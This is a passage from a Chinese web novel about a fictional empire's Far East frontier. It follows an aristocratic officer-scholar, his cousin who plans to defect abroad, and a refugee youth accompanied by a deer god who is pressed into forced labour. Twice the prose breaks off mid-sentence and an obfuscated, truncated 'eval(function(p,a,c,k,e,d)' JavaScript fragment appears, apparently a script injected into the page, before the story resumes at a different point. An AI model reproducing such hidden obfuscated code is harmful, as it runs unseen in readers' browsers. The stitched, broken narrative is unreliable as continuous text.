他起身穿上军装,对着病房里的穿衣镜整理着仪容,尤其是带上军帽时,被帽檐碰到伤口处着实让他疼的眯起眼睛,纱布压在下面看起来就像吃了败仗的逃兵一样。 里奥尼德掀起纱布看了看,发现好像也没什么,就把它扯下来扔进了垃圾桶里,一滴细小的血珠滚落在洁白的衬衫领子上。 尽管是晴天,但冬季的严寒仍然让路上的积雪难以融化,马匹的蹄铁走在被马车压实的路面偶尔打滑,能听见外面勤务兵传来提醒里奥尼德坐稳的声音。他靠在车窗旁边,漫不经心的看着路上来来往往的行人。 作为优秀的知识分子,他比统治者看的更远,时常感慨帝国的暮色。 “中尉,我们到了。” 作为矿产大亨的女儿,伊琳娜家族世代与里奥尼德家族联姻,以寻求庇护和相互的利益交换。她家在帝国都城有无数房产,也从不避讳的开着一个又一个沙龙、舞会、晚宴,席间多是些年轻军官与各行各业的专家、学者。 当然,被皇帝宣布为公敌的人除外。 里奥尼德整理着身上的皮毛大衣,检查着领口——昨天被父亲用马鞭抽掉领扣的那件外套,不知道什么时候已经被勤务兵换掉了。 他揪了揪白色的手套,扶正腰间的佩刀,走进伊琳娜家的别墅大门。 “里奥少爷,伊琳娜小姐在里面等您。” 她家那位从佛郎西来的管家,恰如其当的出现在门口,帮他收好了大衣。这个中年男人已经服侍伊琳娜家几十年,算是看着两人长大的。大堂里正传来当下新潮的钢琴协奏曲,和伊琳娜与那些文豪讨论的声音 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“天哪,这是第几次了?” 里奥想了想,朝着伊琳娜比了个数。 “我不知道为什么我每次写完,还没送到导师手里,直接就出现在他办公桌上了,要不让他给我发学位证算了。” “怕不是有人一直在盯着我吧。” 他疑惑的看了看大门的方向,勤务兵正在外面站岗。 “有可能,毕竟他手下还有特勤机关。” 伊琳娜笑着说道。 “伊琳,有件事我想跟你说——” “别说了,我都知道,我家老爷子已经跟我吵过了。” 里奥尼德听她这么说完,无奈的笑着说道: “这帮老头子。” 他看到伊琳娜没说话,一脸严肃的从旁边的柜子抽屉里,掏出一封信,随后说道: “你知道的,我一直以来的梦想就是像《科学怪人》的作者那样,出版自己的小说。” 里奥朝她点点头。 “先前听说,新大陆的女人已经得到投票权了,所以我给那边的出版商寄了我的短篇稿,他们回信了,并且邀请我去那边参观。” 里奥尼德有些惊讶的看着伊琳娜,他低声说道: “你不会已经在计划出国了吧?” “是的” 他了解自己的表妹,如果什么事她会张口说出来,那多半已经是计划好了。 “你......你应该知道,没有正当外事理由,贵族家眷出国是叛逃行为。” 里奥怕隔墙有耳,又把伊琳娜往阴影里拉了拉。 “我知道,远东的港口有与新大陆的贸易往来,也有供旅人来往的游船,也许我能到那片天高皇帝远的地方去,然后,叛逃~” 伊琳娜轻佻的将“叛逃”说出了口,像是度假一样。 但里奥尼德深深的理解伊琳娜对这片土地的唾弃,这个老大帝国施加在每个民众、农奴、工人、年轻知识分子身上的压力。他们每个人都曾看着自己的同学、好友在政变后当众处刑,任谁都在努力着,期盼着新世界的降临。 “所以,你的计划是?” “听你父亲的,当然,我们也没得选。先成为你的未婚妻,然后我们跑到远东去,你在那边可以完成你的论文,我可以采风写完这部中篇小说,最后——” “我买票去新大陆。” 伊琳娜说完,为了不被发现,随手就将那封盖着火漆的信扔进了壁炉。 里奥尼德感觉到昨天被烟灰缸打破的额头再次传来尖锐的疼痛,好像再一次被父亲袭击了。一种无形的压力在慢慢降临,他点点头。 “你说得对,我们的确没得选。” 无疑,这是他们当下处境的最优解。 里奥尼德头上的伤口一直在剧痛着,像是一朵长在脑子上的玫瑰花被人连根拔起。辞别伊琳娜和沙龙上的朋友们之后,回去的路不知道走了多久,等他清醒过来时已经躺在住处温暖的床上了。 他从未想过,有一天会踏上远东的土地。 在学院时,他准备的人类学博士论文也只是将视角聚焦在了中亚的民俗传说上,那里曾是帝国显露威严的试炼场。 他起身在书桌前,展开了世界地图,在上面寻找着远东的位置。 “黑水城-海滨城-东方城。” 里奥尼德嘴中念念有词,这些对他来说陌生的词汇,正是帝国在远东疆域的边缘,也是对抗的前线。 也许那边有新的故事,新的传说,新的神灵。 他突然觉得这件事也不是那么的令人抵触了。 这时,门外突然传来持续不断的敲门声。 “里奥尼德中尉!有急事找您!” 14.车厢分三等,人也是 浑浊的河水裹挟着上游融雪的寒意,波浪重重拍打着黑水城要塞的混凝土基座。时值正午,刚刚用过午餐的卫兵们都在初春的暖阳下昏昏欲睡,士官长一个人眺望着西北方向,怀念着家乡的肉肠与黑面包。 帝国的基层官兵出身贫寒,不当兵只能被绑在那片冰冷的土地一辈子,自愿前往远东服役是他们唯一的出路了。 由于前一天的冰雨,江面上泛起雾霾,即便是晴天远眺也看不清明,灰蒙蒙的令人烦躁。但士官长敏锐的肉眼还是捕捉到了江心隐隐出现一个飘忽的黑点。 “哨兵!下士!别睡了!去看看江面上那是什么东西!” 士官长的吼叫声惊醒了小憩的卫兵们,被他喊道的下士连滚带爬的从瞭望台旁边的沙袋起身,摇摇晃晃的跑到了望远镜旁。他眯着眼睛,费力的调整着那座沉重的黄铜望远镜,仔细分辨江面上的情况。 “报告士官长!江心的不明漂浮物是一只破木筏,疑似难民!” 士官长朝地上吐了口痰,怒骂道: “什么狗屁难民,肯定是东瀛佬的间谍!” 他走上前去,抢过望远镜,目光扫过木筏上那些苍白惊恐、几乎失去人色的面孔,掠过船夫空空如也,连划桨都没有的双手,最后停留在木筏上那座倒塌的木屋。 那看上去像是被拆解丢弃的货物残骸,也可能,藏匿着武器! “炮艇分队,出动!目标江心木筏!” 士官长的声音果断又带着些许兴奋,这说不定就是他升军衔的立功机会。士兵们列队跑向要塞的码头上,一艘涂着暗灰色漆面的小型炮艇如同离弦之箭,在蒸汽机刺耳的尖啸声中冲入宽阔的江面,掀起翻滚的浊浪。 那炮艇灵活的接近,放慢速度,最后在距离木筏不远处停下。船首那门黑洞洞的舰炮,带着一种不容置疑的威严,缓缓地指向了木筏上那群惊魂未定的人们。冰冷的钢铁在阳光下泛着幽光,甲板上的水兵们手持长枪,刺刀在江风中闪着寒光,沉默而警惕地封锁着所有角度。 “听好了!这里是帝国黑水城区内河舰队!报上你们的身份、来处和目的!立刻!” 萨哈良正抬头看着那漆黑的炮口,然后就听到了水兵朝他们喊话的声音,又看向旁边的医生。他示意萨哈良不要动,然后大声向那边回话。 “我们是因为昨天暴雪翻船的难民,我们来自——” “后退!站在原地别动!” 那些水兵有些过分紧张了,医生刚想往前走一步,他们就抬起枪口瞄准了他的头。 “好,好,我们来自北方白鹿镇的农庄,到黑水城只为了生活,都是帝国子民!” 原来那座海边小镇竟然叫白鹿镇,萨哈良看了看鹿神,他点了点头。 “你叫什么名字,干什么的!” 士官长指了指医生,让他先回答自己的身份。 “我叫叶甫根尼,帝国首都的私人医生。” 不知道是帝国二字管用,还是首都二字,亦或是医生二字,总之士官长示意水兵放下了枪。 “走吧,上岸再说。” 水兵朝着木筏扔下来几个爪钩,内河舰队还保留着这种风帆战舰时代用于接舷战的产物。农夫跑过去将爪钩和木筏固定好,随后炮舰就拉着人们前往黑水城了。 粗笨的爪勾和绳索被炮艇尾部绞盘的巨力猛的绷紧,深深勒紧破烂木筏圆木的缝隙中。木筏发出一阵不堪重负的呻吟,便被这艘钢铁怪兽无情的拖拽,破开浑浊的江水。冰冷的浪花中夹杂着烟囱冒出的煤灰,劈头盖脸的砸在那些难民身上,大家蜷缩着,像待宰的牲口一般。 “到岸之后你怎么办?” 叶甫根尼医生用衣袖掩着口鼻,小声问萨哈良。 “啊?我到岸之后大概会去找旅店吧。” 萨哈良不懂医生的意思。 “不,我不是问这个,上岸之后他们会检查你的身份证件,如果没有的话......” 医生扭头看了看船上的水兵,防止被他们发现谈话。 “轻的会被送去徭役,重的可能会被判做间谍,就地枪决。” 就算医生这么说,眼下也没有搞到证件的办法了,哪怕现在跳入江里,怕是也会被舰炮炸成碎片。 “没事,我在先前的镇子已经被神父公审过了。” 他看出医生很是担心,故作轻松的提起之前在小镇的事。当然,其实他也没什么实感,并不知道徭役意味着什么。 “公审?这倒是......我不知道最近出了什么状况,不过那些农夫可能也拿不出证明,枪决应该不至于,徭役多半是逃不过了。” 叶甫根尼医生也想不出来办法,萨哈良扭头看了看鹿神,鹿神朝他摇了摇头,只能等待见机行事了。 随着炮艇粗暴的拖拉,河岸的轮廓在弥漫的煤烟中逐渐清晰。首先出现在视野中的,是陡峭、光滑,近乎垂直的岩石岸防河堤。堤岸的上方,是由巨大条石垒砌而成的城墙。墙上每隔不远处就有一个棱形堡垒,黑洞洞的炮口从射击孔内探出,漠然的俯视着江面。 这便是黑水城,帝国边疆令人胆寒的军事要塞和城市。 城市的港口到中午时正是繁忙,工人们来来往往的运输着船上的货物,偶尔有一些衣着华丽的人在排队等待登上客船。 岸上的士兵又扔过来几个钩子,人们为了躲避纷纷缩在了一起。 木筏被他们硬生生的拖上鹅卵石遍布的浅滩,摩擦石头发出的噪音让人烦躁。直到此刻,整座城市的全貌才如同巨幕般在难民们惊恐的眼中浮现。 炮艇停在旁边的码头,穿着笔挺水兵制服大衣的士官长带着持枪的士兵走了过来。 “所有人!立刻上岸!” 在一阵咔咔声中,岸上的卫兵将长枪上膛,指着木筏上的所有人。 “列队!出示你们的证件!任何反抗或试图隐匿!就地枪决!” 士官长在人群前来回踱步,颐指气使的吆喝着在场所有人。那些农夫还不知道发生了什么,木筏上的人们踉跄地爬上冰冷的鹅卵石滩。他们湿透的破衣烂衫紧贴在身上,在要塞投下的巨大阴影中瑟瑟发抖,渺小得如同蝼蚁。 “船夫是谁?说清楚发生什么事了!” 在军官喊话时,旁边的士兵跳上木筏开始检查违禁品。旁边列队的人群中颤颤巍巍的伸出了一只手。 “大人,您认识我的,我是林场的人,路上因为风雪木排翻了。” 船夫一脸谄媚的看着军官,看来先前都有打点过。 “我认识你也没有用,你,滚吧,木材征用了!” 原本用木排运送乘客就只是副业,将木材运到黑水城卖掉才是目的。 船夫用求饶的眼神看向军官,但被持枪瞄准他的卫兵打断了,只好悻悻离去。 “现在挨个出示身份证明!” 那些乡下的农民也许办过证件,但由于船难,兜里的纸片也已经泡烂了,上面的文字和政府的盖章都糊在了一起。 由于拿不出证明,萨哈良躲在队伍的最后面,等情况出现转机 他发现,那些拿着长枪的士兵在验过身份证明后,不管能不能拿得出政府的文书,都将人群分成了两队——原住民的田人分成一队,白皮肤的罗刹人分成一队。 “看来不管有没有证明,结果都是一样的,这帮罗刹鬼还是护着自己人的,这徭役是非干不可了。” 鹿神看着那些士兵,暗自说道。 “有没有什么办法,能让干活不那么累?” 眼下的鹿神用不出什么神力,萨哈良是知道的,但他还是小声问了。 鹿神笑了笑,沉默不语。 “你的身份证明呢?” 士兵走了过来,拿枪尖的刺刀指着萨哈良的胸口。 “和他说,你是乡下来探亲的,从来没出过远门,不知道要办这个。” 但鹿神的经验还是够用的,足以帮助萨哈良了。 “大人,我穷乡下来探亲的,第一次出远门,不知道要办这个。” 萨哈良学着刚刚那个船夫点头哈腰的姿态,和卫兵老实交代了自己没有身份证明的事实。 “行啊,你们这帮刁民,什么都没有,准备去挖三天沙子吧。” 士官长见这帮穷鬼既掏不出证明,也刮不出油水,只好送他们去服劳役了。他说完这话,朝卫兵摆摆手,他们拿枪托顶了下身前的人,示意罗刹人那队人可以离开了。 队伍中有医生,那个带孩子的妈妈,和其他几个人。 “军爷,我刚刚给您看了我的证明,我是不是也可以走了。” 之前那个爱讲故事的农夫耸着肩膀,整个人蜷缩着,可怜巴巴的对着士官长说道。 但士官长不吃这套,他一把抢过来农夫手中那张皱巴巴的政府文书,将它细细的撕成了碎片,扔在地上。 “现在没有了,滚吧!” 士官长得意的朝着即将被送去徭役的人们笑着,但叶甫根尼似乎还有话想说。 “先生,您撕毁有皇帝印章的政府文书是违法行为,而且为什么不放有证明的人走?” 正直的医生不打算给军官留一点面子。 “哈哈,看在我们是同族才给你们行个方便,告诉你,在这儿我说了才管用,你大可以去告我,没有人看见他曾经有过证明!” 军官也不想多跟他废话,他翻身上马,掏出马鞭指着这些难民们说道: “告诉你们,车厢分三等,人也分三等,帝国不想接纳你们这些野蛮人,老老实实去给帝国流血流汗,证明自己吧!” “至于你,医生,好好去坐你的一等车厢!” 他抬起手,用鞭子猛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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萨哈良发现走路的时候踩不稳,有时会陷下去,他低头看,才发现脚下的路是由泥泞、坑洼,和竖着的圆木铺就而成。那些沉重的马车车轮碾过泥坑,溅起一片又一片的脏水,偶尔引来路旁行人的怒骂。 路边的人们行色匆匆,穿着整齐漂亮,也有一些像叶甫根尼医生一样气质的人,能看得出要比城门附近的居民有钱不少。 眼前的房屋高大气派,各色的商店和民居散落一旁。两层或者三层的建筑挤满了各种各样的店铺,比起初入小镇时,萨哈良已经能认出招牌上的文字和符号了:有些是堆满面粉袋和木桶的杂货铺,有些是传出叮叮当当打铁声的铁匠铺。 马车铃铛与车夫的喊叫,小贩们此起彼伏带着各地口音的吆喝,和教堂钟声混杂在一起,无一不证明着黑水城的繁华。 这样的场景震撼着每一个从乡下初入城市的人,包括鹿神也好奇的打量着街上的事物。 但这一切并不欢迎萨哈良的到来。 “让路!让路!给少校的车让路!” 在街道深处,突然传来了大喊。那些押送的卫兵听见这喊声突然都打起了精神,掏出马鞭抽打服劳役的人们,让大家让开道路。 那是一辆豪华的敞篷马车,巨大又沉重,线条却异常的流畅。车身是深沉如黑夜的檀木,被打磨得像镜面一般光亮。车头两侧的黄铜防风灯即便是白天也闪闪发亮,无论是车体边缘还是车门上,都装着纯金饰条,如同一个镀着金边的梦境,碾过这泥泞的街道。马车所经之处,喧嚣似乎也短暂消失了,行人纷纷退避,就连最顽劣的小孩也被大人死死按住。 不仅是对财富的敬畏,更是为马车所代表的,不容置疑的帝国权力,本能的臣服。 马车经过萨哈良旁边时,人们隐隐闻见了雪松木与高级皮革的独特香气。他先是看到了那优雅的女人,穿着深黑的皮草大衣,翻领处深灰色尖端带银色的毛说明了这皮料的昂贵。她的脸庞在冷风中有着没有丝毫暖意的冷白色,更像是一种近乎非人的纯净与疏远。 在微微低斜的头颅与橄榄石色的眼眸之后,她知晓自己的美丽与力量,也知晓旁人的窥探与揣测。 萨哈良继续向车内望去,里面坐着的是穿着笔挺军装的英俊年轻人,身形挺拔如同寒风中白杨。那名军官的外套大衣不像押送队伍的卫兵那般臃肿,而是剪裁极为合体的厚实深蓝色衣料。 浮雕着帝国双头鹰的硕大纽扣一直到下颌,勾勒出宽阔的肩膀。 他的脸庞绝非柔美,在深栗色短发的衬托下,是一种冷冽如冻土,又锋利如尖刀的气质。尽管军事训练非常辛苦,但他的皮肤却是贵族特有的,少见日晒的苍白。 军官像是发现了萨哈良好奇的打量,转头看了过来,两人的目光隔着那名华贵的女士撞在了一起。 当马车远去时,萨哈良看见了车尾那枚巨大的雄狮家族徽记,正嘲弄的向着他咆哮。 15.天上星辰与地上尘埃 “你看见刚才路边那个少年了吗?” 转眼间,里奥尼德和伊琳娜已经到远东住了一年有余,作为世袭贵族,他的军衔也已经升到了少校。回想起在帝国首都时的日子,早是恍如隔世。年轻皇帝对于政变的调查仍在持续,他们的许多朋友也因此落网,遭到审判、流放,或者是处刑。 里奥尼德现在回忆起自己那元帅父亲的话,也许被赶到远东是一种保护。 远东的生活并不充实,没有舞会、沙龙、晚宴。有的只是肮脏混乱的街道,嘈杂喧闹的市集,鲜有人迹的旷野,和帝国持续不断的军队进驻。 “什么少年?在哪儿?” 伊琳娜坐在马车上,思考着小说的大纲。她是一个对作品要求极高的人,如果不能完成一份完备的长篇草稿,她就不会买船票到新大陆去。 “......刚刚路边有一个看起来衣衫破落的少年,他的脚踝上系着某个部族的印记。” 里奥尼德也不确定自己是不是真的看清楚了,他揉了揉眼睛。 “这样啊。” 两人在黑水城度过的时光难说快乐,一方面是论文开题与小说采风双双受挫,另外一方面,是他们伪装的订婚身份。 虽然对外宣称是未婚妻,但是人们频频对伊琳娜以太太相称,又或者热心的询问婚期,难免不让他们感到尴尬。更何况,早就不是青梅竹马的年纪了,真到了不得不长时间呆在一起的时候,才发现是如此的不合拍。 “你最近论文的田野调查做的怎么样?” 伊琳娜感觉刚刚对里奥尼德说话的态度有些太过冷淡,毕竟她对有关远东的一切都感到兴味索然。 “嗯......虽然在这边住了这么久,仍然感觉难以下手。” 提到专业上的事时,里奥尼德看起来才像是年轻学者的样子。 “我吩咐手下的军官多留意本地的文物、书籍,也收集了不少,许多工艺品制作精美,但感觉这里的本土文化——” 可能是他心里对这个问题感到有些纠结,揉捏着额头。 “不不不,是我的问题,我始终找不到切入点。” 伊琳娜笑着拍了拍里奥尼德的肩膀,安慰他说: “没事的,反正在这边也没有人再烧你的稿子了,慢慢写,写出一个旷世之作。” 里奥尼德也笑了笑,他望向远方,看着黑水城外的大河静静流淌。 “既然这么没精神,不如听听我的小说思路?” “好啊,你讲吧。” 豪华马车走在黑水城坑洼的烂路上颠簸不停,晃得里奥尼德很快就昏昏欲睡。脑海中始终萦绕着刚刚看到的部族徽记,也许应该想办法找到刚才那个少年。 她说的小说思路是一点没听进去,只是隐隐约约听见说了什么“远东、邪恶博士、大爆炸”。 “......里奥。” “奥尼德......” “里奥尼德!” 里奥尼德转过头,伊琳娜正愤怒的看着他。 “对不起......伊琳,最近没休息好,头有些发晕。” 看他这样子,伊琳娜也不好发作,只是朝他翻了个白眼。毕竟,创作思路卡壳的不光是伊琳娜自己,也包括里奥尼德。 难道时间就要在这个鸟不拉屎的地方凝固下去了吗? “少校,夫人,我们到了。” 远东军区司令部,与帝国陆军总参谋部完全不同,后者是伊琳娜小时候和里奥尼德一起玩耍过的地方。司令部庞大、森严,如同一头红砖砌成的巨兽,盘踞在城北的制高点上,俯瞰着脚下这片被它强行楔入的土地。 伊琳娜怀念过去与知识分子们的沙龙晚宴,当听到里奥尼德说今天要到司令部开会,并且许多人会带家眷来时,她主动要求一同赴会,至少看看那些军官们的阔太太,说不定能聊得来。 但当她走进司令部的宴会厅时,眼前的一切并没有如她所愿。 那些军官太太打扮的像极了一个个花枝招展的火鸡,房间内噪杂的如同菜市场一样。由于里奥尼德的那辆豪华马车,和他们的贵族身份,每个人都围上来套近乎,伊琳娜只能挨个应付,这比她的小说大纲还要难。 最后听完中校太太和上尉太太关于早餐开蛋器的无聊攀比之后,她实在受不了了,独自一人跑到院子里透气。 伊琳娜从小手包中拿出一个银制镶嵌祖母绿宝石的扁形盒子,修长的手指从里面挑出一支香烟,插在绿松石制成的烟嘴上——这种宝石是远东的特产,还是今年生日时里奥尼德送给她的生日礼物。 旁边待命的勤务兵适时的走上前用长柄火柴帮她点燃香烟,很快,她翘起小指,惆怅的脸慢慢笼罩在烟雾之中了。 伊琳娜望着大院门口两名全副武装的卫兵如同石雕般矗立。他们身材魁梧,穿着墨绿色的厚呢军大衣,帽檐下是年轻却毫无表情的脸,胡须修剪得一丝不苟。 只有春风吹过旗杆上帝国旗帜的猎猎声响。 “伊琳,又在吸“魔鬼的烟雾”了。怎么自己在外面,没和太太她们聊天吗?” 里奥尼德终于开完会了,他脱下了一只手套,拿着装帧精美的笔记本。 “你自己就不信教会说的那些鬼东西,也别揶揄我了,房子里面聒噪的像市场。” 伊琳娜没有回头看他,还是望着远方发呆。 “哈哈,我就说你不会喜欢这里的。” “不说这个了,有什么有趣的事情可以分享吗?” 她很清楚帝国军队的保密要求,所以问的很是克制,说完深吸了一口,烟雾飘到了里奥尼德脸上。 “嗯......咳......还是有的,皇帝希望和东瀛人撕破脸之前,尽可能向土著居民展现帝国繁荣的文化,最终同化他们,以防备间谍渗透。” “繁荣?皇帝自己信吗?所以,他们打算怎么做?” 伊琳娜对帝国文化的羸弱深信不疑。 “司令对皇帝模糊不清的指令并不是很上心,他知道我在搞研究,责令我找到合适的切入点,出版论文集,和其他国家的学者论战,证明帝国人种的高贵。” “看看街上那些受苦受难的原住民,讲这种故事他们真的会信吗?” 她将香烟掐灭在石栏杆上,看着里奥尼德。 “上面知道远东军区在原住民聚集区搞的事情,也希望最近安静些,那帮东瀛人在盯着我们。” 看伊琳娜没说话,他又接着说道: “伊琳,往好了想想,既然皇帝下达这样的指示,也许我们可以试试召集远东的青年才俊,在文化上击垮那些东瀛人。” “挺好的,也许还能和他们聊聊各地的奇闻轶事,做做采风。” 听伊琳娜这么说,里奥尼德感觉她心情好了许多,向着她点点头。 “所以,下午的时候你一直走神,在想什么?” 伊琳娜不喜欢军队里肃杀的压抑,聊了一会就准备离开了。当他们的豪华马车驶出司令部大院时,里奥尼德隐约感觉到那些军官太太们好像投来了羡慕的目光。 坐在车上时,她想起了下午的谈话。 “你说那个啊......我在想中午看见的那个少年,其实我想他会不会与资料上记载的部族有关系。” “部族?这边的人不都是部族,不都是土著人吗?” 她对里奥尼德热衷的人类学兴趣不大,对这些当地的文化民俗也不甚了解。 “严格来说,这边的居住者构成分为四类人,一部分是我们,一部分是原住民,也就是种地的那些人,他们大概对应帝国农奴那个阶层。” 里奥尼德摸了摸下巴,思考着遣词造句。 “还有一部分是南方帝国的遗民,他们大体都在我们的殖民进程中消耗殆尽了,幸存者也融入了原住民。 “那最后一部分人呢?” 她对这个话题提起了些许的兴趣。 “最后这一部分,是最早的土著人,他们被农民称为“山人”,信仰荒野神灵。” 伊琳娜大概听懂了里奥尼德的意思,她点点头。 “之前我在北方白鹿镇运来的原木中,发现过木材上雕刻有他们神灵信仰的符号,但是路途遥远,一直还没有机会去实地考察。” 里奥尼德思索着,和伊琳娜提起先前发现的线索。 “不如我们去找一下那个少年怎么样?” 她发现里奥尼德对这个问题很感兴趣,但还有些犹豫不决,于是直接向他提议。 “真的?你不想赶紧回去写书吗?” “那个好说,回头再写。只是看你这个样子,搞学术不应该刨根问底,立刻解决问题吗?” 里奥尼德听伊琳娜这么说,又起了兴致,他向正在驾车的勤务兵喊道。 “中午那押送队伍是干什么的?他们要去哪儿?” 听见他的喊声,勤务兵立刻挺直了腰板。 “到!报告少校!押送队伍应该是劳役,他们大概会去城北当纤夫或者挖沙子!” “走,就去那里。” 时间已是傍晚,夕阳落在黑水城平静的江面上。北方的冬季由于上游的冰凌尚未融化,因此河流的水位仍然很低,许多货运船舶经过时十分容易搁浅。在即将到来的农忙季节,牲畜是昂贵的资源,但帝国的人力则廉价无比,更何况是被强征来劳役的农夫。 远远望去,他们像被串起来的牲口。一根粗大无比,被汗水浸透又被太阳晒得发硬的麻绳,深深勒进他们每个人的肩膀和胸膛。有的人为了省钱,防止衣服被磨损,只穿了一块兜裆布,在早春季节看着就让人觉得寒颤。 绳子紧绷着,另一端连接着下游远处河面上一个模糊的黑点,那是一艘满载木材的平底驳船。船吃水很深,在缓慢的河水中几乎纹丝不动,它的全部重量,仿佛都通过这条绳索,压在了岸上这队蠕动的脊背上。 他们是帝国庞大的身躯下,被碾碎,被遗忘的魂灵。 不过,那些监工只是看了看萨哈良瘦弱的身板,就让他滚去挖沙子了。 “你说,他们挖沙子干什么用,想把沙滩搬回家吗?” 萨哈良不会用他们的铁锹,只能一边看旁边的人,一边吭哧吭哧的挖着。他躲到一个偏僻的角落,就算看见他,也只会觉得这人疯了,自言自语。 “你看看那边的货船,上面写了。” 鹿神给他指了指,他擦掉眼前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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不过这点神力还是有的,鹿神飘过去摸了摸他的头,一股暖流由上至下的传递。 “战马是稀缺资源,就算扣下不还你,它也会好好的,不必担心。” 可萨哈良不这么想,那匹马是他从小喂大的。 就在他们谈话的时候,远方的入口处停下了一辆亮闪闪的马车,萨哈良认出来,那就是中午见到的。那些监工的卫兵不知道得到了什么命令,端着枪朝着劳役的苦工走来,挨个扳起脸,掀起裤腿查看。 “感觉可能出了什么事情,你做好准备。” 鹿神有些担心的提醒萨哈良,他一边挖沙子,一边偷瞄着那边。 “我猜他们可能是在找人。” 那些卫兵每查验完一个人就赶快跑去下一个,看起来真如鹿神所说,是在找人。 在远处的纷乱之外,偶尔有装饰着彩旗的蒸汽轮船驶过,推开了污浊的江水。船上衣着光鲜的绅士淑女们,偶尔会好奇地瞥一眼岸边这队缓慢移动的黑点,带着一丝猎奇或漠然,随即又转过头去,欣赏两岸远处的风光。那刺耳的汽笛声,对于劳役们来说,不过是另一个世界的噪音,与他们的苦难毫无关联。 “你,站着别动!” 白天那个喜欢耀武扬威的士官长又出现在了旁边,他一声令下,身边的卫兵就跑上来按住了萨哈良。 “怎......怎么了?” 萨哈良不知所措,他们有的掰起他的脸,有的掀起他的裤子,仔细查看一番之后,回头对着士官长回话。 “报告士官长!就是他!” “给我带走!” 这次士兵没有给他自己走路的机会,两个人不顾萨哈良的挣扎,架起来就往马车的方向走。 “快点!磨蹭什么!” 到了马车前,士官长对着萨哈良怒骂到,卫兵们将他狠狠摔在了地上,还没等他反应过来,两只厚重的马靴就踩到了后背,将他一脚踢了过去。这下让萨哈良吃了满嘴的沙子,趴在那边呸呸的吐了起来。 那名军官连忙走上前去,他手臂沉稳而有力地向上托住,轻轻拉起了萨哈良。 “啪!” 随后军官三步并作两步,好像都能听见呼啸的风声。他走到士官长面前一个嘴巴就抽了上去,这一下把他的军帽都打在了地上。 萨哈良听见这清脆的巴掌声,朝士官长那边看了眼,又扭头看了看马车的方向,白天见到的那名优雅的女士遇到这种场景,也瞪大眼睛,捂住了想发出惊呼的嘴。 “我是让你们找人,你们就这么对待他?我说过我要找的人是罪犯吗?” 那名士官长和卫兵这下意识到自己犯了什么错误,跪在地上连忙求饶。 “废物!” 军官也懒得多看他们一眼,回身向萨哈良走去。 他看见眼前那只带着白色手套的,修长的手指向他张开,衣袖上金色的扣子也闪闪发亮,还带着那股雪松木与高级皮革的芳香。那军官的声音低沉,带着一种与刚才暴戾截然不同的温和。 “我是里奥尼德,你呢?” 16.欢迎来到东方! 深沉的暮色自东向西朝着黑水城慢慢涌来,河滩上忙碌一天的劳役也逐渐散去。直到夕阳西下,远处教堂的镀金尖顶反射着最后的光芒。 但城市并未因日落而沉寂,反而换上了不同的面孔。 随着黑暗降临,城市的主干道上悄悄出现了手握长柄松明的市政工人,他们穿着整齐的制服,一盏接一盏,将盛着油壶的路灯点亮。当松明接触到油脂中粗大的棉绳时,它们发出“噗”的一声轻响,沉寂一天的火苗贪婪舔舐着防风玻璃罩,昏黄的灯光照亮了路上行人。 沿街的珠宝店、法式餐厅和高级俱乐部的橱窗里,新式的白炽灯也接连亮起,透过玻璃,投下温暖诱人的金色光斑。空气里飘荡着香水、烟草和刚出炉面包的甜腻香气。 装饰着雄狮家族纹章的豪华马车慢慢驶过,蹄铁敲击着路面,发出清脆的声音。 没过一会儿,路灯中油脂燃烧的烟气就弥漫在街道上,为夜幕下的城市营造出朦胧的美感。 “我吗?......我叫萨哈良。” 刚刚在河滩旁发生的一切仍让萨哈良神魂未定,此刻他坐在军官与女士的对面,也就是那辆豪华马车上。 三人面面相觑,萨哈良的眼神不时向路边的景色瞥去,气氛有些冰凉。 军官决定率先打破冷场,他脱下手套,手向萨哈良伸了过去。 “你好,我叫里奥尼德,啊......嗯......是一名学者,其次是远东军区的少校。” 萨哈良慢慢习惯他们的握手礼了,也伸手过去。 旁边那名优雅的女士用有着华丽螺钿与宝石装饰的贝母扇半掩住了脸庞,朝着萨哈良点了点头。 “我是伊琳娜,嗯......一名作家。” 不知道为什么两个人提起自己的职业时有一些似有似无的尴尬,萨哈良也朝伊琳娜点了点头。 “我感觉这两个人怪怪的,好像有求于你一样。” 鹿神也坐在萨哈良的旁边,上等小牛皮座椅的柔软是荒野诸神也未曾享受过的。 很快,气氛又一头沉了下去。伊琳娜赶紧用肩膀碰了碰里奥尼德,示意他赶快说些什么,比如说他们找到萨哈良的目的。 “咳......不好意思,刚刚那些士兵吓到你了。” 萨哈良习惯性的摇了摇头,然后又点了点头,毕竟也确实吓到他了。 “今天在经过劳役队伍的时候,我看到了你脚上挂着的部族标记,咳......冒昧的问,我可以看看它吗?” 他没听懂军官的意思,本来想弯腰摘下来,但那军官已经从座椅上起身,半蹲下去端详着。里奥尼德温暖的手指无意间碰触到萨哈良冰凉的脚踝,他像触电一般微微往回收,但那军官拉住了雕像上的皮绳。 “真是朴素又古朴的塑像风格,带着童趣般的稚拙。” 里奥尼德站起身坐了回去,但他的眼睛还停留在萨哈良的脚踝上。 见他这么在意,萨哈良干脆解下了皮绳,递给了他。 “这个雕像......有什么值得注意的吗?” 萨哈良疑惑不解,歪头问着他。 “啊,是这样的,我想研究部族的文化,甚至学了一些部族语。这个雕像是狗獾神的吗?你是狗獾部落的吗?” 里奥尼德口中说出来的话着实让萨哈良警觉了起来,他无意间扭头看了看鹿神,鹿神也摇摇头说道: “这人大概不坏,但这些信息不能全告诉罗刹鬼的军官,也许可以利用他得到狗獾部落的信息。” 萨哈良也是这样想的,但他停下来没说话的时间让里奥尼德感到了抱歉。 “不好意思,刚刚见面我就问了这么多有的没的,那些士兵没有欺负你吧?” 里奥尼德递回了神像,看起来他们两个的确在关心萨哈良。 “没事的,就是摔到地上的时候吃了好多土,现在还感觉嘴里怪怪的。” “哈哈哈哈,刚才我已经收拾他们了。” 